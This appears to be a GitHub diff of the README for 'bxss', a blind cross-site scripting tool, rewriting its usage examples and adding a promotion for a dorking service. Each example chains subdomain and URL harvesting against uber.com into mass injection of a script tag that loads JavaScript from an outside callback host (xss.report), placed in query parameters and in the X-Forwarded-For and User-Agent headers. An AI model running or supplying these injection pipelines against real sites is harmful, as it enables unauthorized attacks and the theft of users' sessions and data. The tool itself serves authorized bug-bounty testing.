File tree Expand file tree Collapse file tree 1 file changed +46
-4
lines changed
Expand file tree Collapse file tree 1 file changed +46
-4
lines changed Original file line number Diff line number Diff line change @@ -71,16 +71,58 @@ go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest
7171
7272## 🔥 Usage Examples
7373
74- ### Injecting Blind XSS Into Parameters
74+ ### Parameters
7575``` bash
76- subfinder -d uber.com | gau | grep " &" | bxss -appendMode -payload ' "><script src=https://xss.report/c/username></script>' -parameters
76+ subfinder -d uber.com \
77+ | gau \
78+ | grep " &" \
79+ | bxss -a -p ' ><script src=https://xss.report/c/username></script>' \
80+ -t
7781```
7882
79- ### Injecting Blind XSS Into X-Forwarded-For Header
83+ ### X-Forwarded-For Header
8084``` bash
81- subfinder -d uber.com | gau | bxss -payload ' "><script src=https://xss.report/c/username></script> -header "X-Forwarded-For"
85+ subfinder -d uber.com \
86+ | gau \
87+ | bxss -p ' ><script src=https://xss.report/c/username></script>' \
88+ -H " X-Forwarded-For"
8289```
8390
91+ ### Custom Headers & Parameters
92+ ``` bash
93+ echo uber.com \
94+ | haktrails subdomains \
95+ | httpx \
96+ | hakrawler -u \
97+ | bxss -p ' ><script src=https://xss.report/c/username></script>' \
98+ -H " User-Agent" \
99+ -t
100+ ```
101+
102+ ### Google Dorks With Dorki
103+ ``` bash
104+ curl -X GET -H " Authorization: Bearer <Token>" \
105+ -H " X-Secret-Key: <Secret>" \
106+ https://dorki.attaxa.com/api/search? q=site:example.com -s \
107+ | jq -r .[][].url \
108+ | grep " &" \
109+ | bxss -a -p ' ><script src=https://xss.report/c/username></script>'
110+ ```
111+
112+ ### Custom Headers & Parameters With Rate Limit
113+ ``` bash
114+ echo uber.com \
115+ | haktrails subdomains \
116+ | httpx \
117+ | hakrawler -u \
118+ | bxss -a -p ' ><script src=https://xss.report/c/username></script>' \
119+ -H " User-Agent" \
120+ -t \
121+ -rl 10
122+ ```
123+
124+ For advanced dorking and vulnerability exploration, check out [ Dorki] ( https://dorki.attaxa.com/ ) and sign up today!
125+
84126---
85127
86128## ☕ Support the Project
You can’t perform that action at this time.
0 commit comments